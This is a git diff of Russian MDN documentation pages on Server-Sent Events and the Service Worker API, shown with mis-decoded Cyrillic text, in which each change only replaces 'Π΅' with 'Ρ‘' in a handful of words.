+<p>{{Glossary("PHP")}} ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π½ΠΈΠΆΠ΅:</p>
<pre class="brush: php">date_default_timezone_set("America/New_York");
header('Cache-Control: no-cache');
@@ -79,7 +79,7 @@ while (1) {
}
</pre>
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ событиС ΠΊΠ°ΠΆΠ΄ΡƒΡŽ сСкунду с Ρ‚ΠΈΠΏΠΎΠΌ события Β«pingΒ». Π”Π°Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ события - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JSON, содСрТащий ΠΌΠ΅Ρ‚ΠΊΡƒ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ISO 8601, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ Π΄Π°Ρ‚Π΅, ΠΊΠΎΠ³Π΄Π° Π±Ρ‹Π»ΠΎ сгСнСрировано событиС. Π§Π΅Ρ€Π΅Π· случайныС ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹ отправляСтся простоС сообщСниС (Π±Π΅Π· Ρ‚ΠΈΠΏΠ° <code>event</code>).</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ событиС ΠΊΠ°ΠΆΠ΄ΡƒΡŽ сСкунду с Ρ‚ΠΈΠΏΠΎΠΌ события Β«pingΒ». Π”Π°Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ события - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JSON, содСрТащий ΠΌΠ΅Ρ‚ΠΊΡƒ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ISO 8601, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ Π΄Π°Ρ‚Π΅, ΠΊΠΎΠ³Π΄Π° Π±Ρ‹Π»ΠΎ сгСнСрировано событиС. Π§Π΅Ρ€Π΅Π· случайныС ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹ отправляСтся простоС сообщСниС (Π±Π΅Π· Ρ‚ΠΈΠΏΠ° <code>event</code>).</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΊΠΎΠ΄, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ Π½Π° GitHub - см. <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Simple SSE demo using PHP.</a></p>
@@ -106,7 +106,7 @@ while (1) {
<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π‘Ρ‚Ρ€ΠΎΠΊΠ° коммСнтария ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Ρ‚Π°ΠΉΠΌ-Π°ΡƒΡ‚ соСдинСний; сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ пСриодичСски ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ соСдинСниС.</div>
-<p>КаТдоС сообщСниС содСрТит ΠΎΠ΄Π½Ρƒ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ строчСк тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ поля этого сообщСния. КаТдоС ΠΈΠΌΠ΅Π΅Ρ‚ своС имя, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅, послС которого идут тСкстовыС Π΄Π°Π½Π½Ρ‹Π΅ для значСния этого поля.Β </p>
+<p>КаТдоС сообщСниС содСрТит ΠΎΠ΄Π½Ρƒ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ строчСк тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ поля этого сообщСния. КаТдоС ΠΈΠΌΠ΅Π΅Ρ‚ своё имя, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅, послС которого идут тСкстовыС Π΄Π°Π½Π½Ρ‹Π΅ для значСния этого поля.Β </p>
<h3 id="Поля">Поля</h3>
diff --git a/files/ru/web/api/service_worker_api/index.html b/files/ru/web/api/service_worker_api/index.html
index 7d52ed2334..f7b0bbb1cd 100644
--- a/files/ru/web/api/service_worker_api/index.html
+++ b/files/ru/web/api/service_worker_api/index.html
@@ -21,7 +21,7 @@ translation_of: Web/API/Service_Worker_API
<h2 id="ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ_ΠΈ_использованиС_Service_Worker">ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ ΠΈ использованиС Service Worker</h2>
-<p>Service worker β€” это событийно-управляСмый <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">worker</a>, рСгистрируСмый Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ источника и ΠΏΡƒΡ‚ΠΈ. Он прСдставляСт собой JavaScript-Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-страницу/сайт, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΎΠ½ ассоциируСтся, ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΈ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ запросы Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈΒ ΠΈ рСсурсов, ΠΎΡ‡Π΅Π½ΡŒ Π³ΠΈΠ±ΠΊΠΎ ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ рСсурсы, для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π²Π°ΠΌ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Π΄Π΅Ρ‚ сСбя Π² опрСдСлСнных ситуациях (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° ΡΠ΅Ρ‚ΡŒ Π½Π΅ доступна).</p>
+<p>Service worker β€” это событийно-управляСмый <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">worker</a>, рСгистрируСмый Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ источника и ΠΏΡƒΡ‚ΠΈ. Он прСдставляСт собой JavaScript-Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-страницу/сайт, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΎΠ½ ассоциируСтся, ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΈ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ запросы Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈΒ ΠΈ рСсурсов, ΠΎΡ‡Π΅Π½ΡŒ Π³ΠΈΠ±ΠΊΠΎ ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ рСсурсы, для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π²Π°ΠΌ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Π΄Ρ‘Ρ‚ сСбя Π² опрСдСлённых ситуациях (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° ΡΠ΅Ρ‚ΡŒ Π½Π΅ доступна).</p>
<p>Service worker запускаСтся Π² контСкстС Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠ², поэтому ΠΎΠ½ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ доступа ΠΊ DOM ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Β Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΎΡ‚ основного ΠΏΠΎΡ‚ΠΎΠΊΠ° JavaScript, ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰Π΅Π³ΠΎΒ Π²Π°ΡˆΠΈΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ, Π° ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ β€” Π½Π΅ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ. Он ΠΏΡ€ΠΈΠ·Π²Π°Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ асинхронным; ΠΊΠ°ΠΊ слСдствиС, синхронныС API, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>, Π² Service Worker'Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ нСльзя.</p>
@@ -55,7 +55,7 @@ translation_of: Web/API/Service_Worker_API
<p>Установка производится Π² случаС Ссли Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌΡ‹ΠΉ Ρ„Π°ΠΉΠ» признаСтся Π½ΠΎΠ²Ρ‹ΠΌ β€” Π»ΠΈΠ±ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΡ‚ ΡƒΠΆΠ΅ установлСнного service worker (опрСдСляСтся Ρ‡Π΅Ρ€Π΅Π· ΠΏΠΎΠ±Π°ΠΉΡ‚ΠΎΠ²ΠΎΠ΅ сравнСниС), Π»ΠΈΠ±ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ устанавливаСмым service Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠΌ для этой страницы/сайта.</p>
-<p>Если это ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° service worker оказался доступСн, Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Π½Π° установка, Π° послС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ Π΅Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ β€” активация.</p>
+<p>Если это ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° service worker оказался доступСн, Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Π½Π° установка, Π° послС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ Π΅Ρ‘ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ β€” активация.</p>
<p>Если service worker ΡƒΠΆΠ΅ сущСствуСт, новая вСрсия устанавливаСтся Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅, Π½ΠΎ Π½Π΅ активируСтся β€” worker ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π² состояниС <em>Π² ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠΈ</em>. Новая вСрсия активируСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° большС Π½Π΅ останСтся Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Ρ… страниц, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… старый service worker. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ это случится, Π½ΠΎΠ²Ρ‹ΠΉ service worker активируСтся (станСт <em>Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠΌ</em>). Активация ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅ ΠΏΡ€ΠΈΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΠΈΒ {{domxref ("ServiceWorkerGlobalScope.skipWaiting()")}}, Π° ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ страницы ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π²Π΅Π΄Π΅Π½Ρ‹ ΠΏΠΎΠ΄ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ воркСра с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{domxref ("Clients.claim()")}}.</p>
@@ -63,7 +63,7 @@ translation_of: Web/API/Service_Worker_API
<p>Π•ΡΡ‚ΡŒ такТС событиС <code>activate</code>. ΠœΠΎΠΌΠ΅Π½Ρ‚, когда это событиС наступаСт, являСтся ΡƒΠ΄Π°Ρ‡Π½Ρ‹ΠΌ для очистки старого кСша ΠΈ всСго, Ρ‡Ρ‚ΠΎ Π°ΡΡΠΎΡ†ΠΈΠΈΡ€ΠΎΠ²Π°Π»ΠΎΡΡŒ с ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ вСрсиСй вашСго service worker'Π°.</p>
-<p>Service worker ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‡Π°Ρ‚ΡŒ Π½Π° запросы, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ ΡΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ {{domxref("FetchEvent")}}. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° эти запросы на своС усмотрСниС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("FetchEvent.respondWith") }}.</p>
+<p>Service worker ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‡Π°Ρ‚ΡŒ Π½Π° запросы, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ ΡΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ {{domxref("FetchEvent")}}. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° эти запросы на своё усмотрСниС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("FetchEvent.respondWith") }}.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π’Π°ΠΊ ΠΊΠ°ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ <code>oninstall</code>/<code>onactivate</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π½ΡΡ‚ΡŒ врСмя, спСцификация service worker прСдоставляСт ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>waitUntil</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис, ΠΊΠΎΠ³Π΄Π° вызываСтся <code>oninstall</code> ΠΈΠ»ΠΈ <code>onactivate</code>. Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ события Π½Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ service worker, ΠΏΠΎΠΊΠ° промис Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ.</p>
@@ -78,7 +78,7 @@ translation_of: Web/API/Service_Worker_API
<ul>
<li>Ѐоновая синхронизация Π΄Π°Π½Π½Ρ‹Ρ…</li>
<li>ΠžΡ‚Π²Π΅Ρ‚ Π½Π° запросы ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… источников</li>
- <li>ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Ρ†Π΅Π½Ρ‚Ρ€Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ обновлСния для Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… тяТСлыС вычислСния, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ гСолокация ΠΈΠ»ΠΈ гироскоп, для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ нСсколько станиц ΠΌΠΎΠ³Π»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΈ ΠΈ Ρ‚Π΅ ΠΆΠ΅ Π΄Π°Π½Π½Ρ‹Π΅</li>
+ <li>ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Ρ†Π΅Π½Ρ‚Ρ€Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ обновлСния для Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… тяТёлыС вычислСния, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ гСолокация ΠΈΠ»ΠΈ гироскоп, для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ нСсколько станиц ΠΌΠΎΠ³Π»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΈ ΠΈ Ρ‚Π΅ ΠΆΠ΅ Π΄Π°Π½Π½Ρ‹Π΅</li>
<li>ΠšΠΎΠΌΠΏΠΈΠ»ΡΡ†ΠΈΡ ΠΈ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ зависимостями Π½Π° клиСнтской сторонС для CoffeeScript, less, CJS/AMD ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ ΠΈ Ρ‚.Π΄. для Ρ†Π΅Π»Π΅ΠΉΒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ</li>
<li>Подписка Π½Π° фоновыС сСрвисы</li>
<li>ΠšΠ°ΡΡ‚ΠΎΠΌΠ½Π°ΡΒ ΡˆΠ°Π±Π»ΠΎΠ½ΠΈΠ·Π°Ρ†ΠΈΡ, основанная Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Π°Ρ…Β URL</li>
@@ -90,7 +90,7 @@ translation_of: Web/API/Service_Worker_API
<ul>
<li><a href="https://github.com/slightlyoff/BackgroundSync">Π€ΠΎΠ½ΠΎΠ²ΠΎΠΉ синхронизации</a>: Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ service worker Π΄Π°ΠΆΠ΅ ΠΊΠΎΠ³Π΄Π° Π½ΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π΅Ρ‚ Π½Π° сайтС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ кСш.</li>
<li><a href="/en-US/docs/Web/API/Push_API">Π Π΅Π°ΠΊΡ†ΠΈΠΈ Π½Π° ΠΏΡƒΡˆ-сообщСния</a>: Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ service worker для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ сообщСний ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΠΎΠ²Π΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΈΡ… ΠΎ Π½ΠΎΠ²ΠΎΠΌ доступном ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π΅.</li>
- <li>Π Π΅Π°ΠΊΡ†ΠΈΠΈ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ врСмя ΠΈ Π΄Π°Ρ‚Ρƒ</li>
+ <li>Π Π΅Π°ΠΊΡ†ΠΈΠΈ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ врСмя ΠΈ Π΄Π°Ρ‚Ρƒ</li>
<li>Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π³Π΅ΠΎ-ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ</li>
</ul>
@@ -100,7 +100,7 @@ translation_of: Web/API/Service_Worker_API
<dt>{{domxref("Cache") }}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ Π΄Π»ΡΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("Request")}} / {{domxref("Response")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠ΅ΡˆΠΈΡ€ΡƒΡŽΡ‚ΡΡ, ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ ΠΆΠΈΠ·Π½Π΅Π½Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π° {{domxref("ServiceWorker")}}.</dd>
<dt>{{domxref("CacheStorage") }}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ Π΄Π»ΡΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("Cache")}}. Он создаСт Π³Π»Π°Π²Π½ΡƒΡŽ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ для всСх ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… кСшСй, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ {{domxref("ServiceWorker")}} ΠΈΠΌΠ΅Π΅Ρ‚ доступ, ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ строковых ΠΈΠΌΠ΅Π½ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("Cache")}}.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ Π΄Π»ΡΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("Cache")}}. Он создаёт Π³Π»Π°Π²Π½ΡƒΡŽ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ для всСх ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… кСшСй, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ {{domxref("ServiceWorker")}} ΠΈΠΌΠ΅Π΅Ρ‚ доступ, ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ строковых ΠΈΠΌΡ‘Π½ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("Cache")}}.</dd>
<dt>{{domxref("Client") }}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° service worker. Π­Ρ‚ΠΎ Π»ΠΈΠ±ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π² контСкстС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π»ΠΈΠ±ΠΎ {{domxref("SharedWorker")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ контролируСтся Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠΌ.</dd>
<dt>{{domxref("Clients") }}</dt>
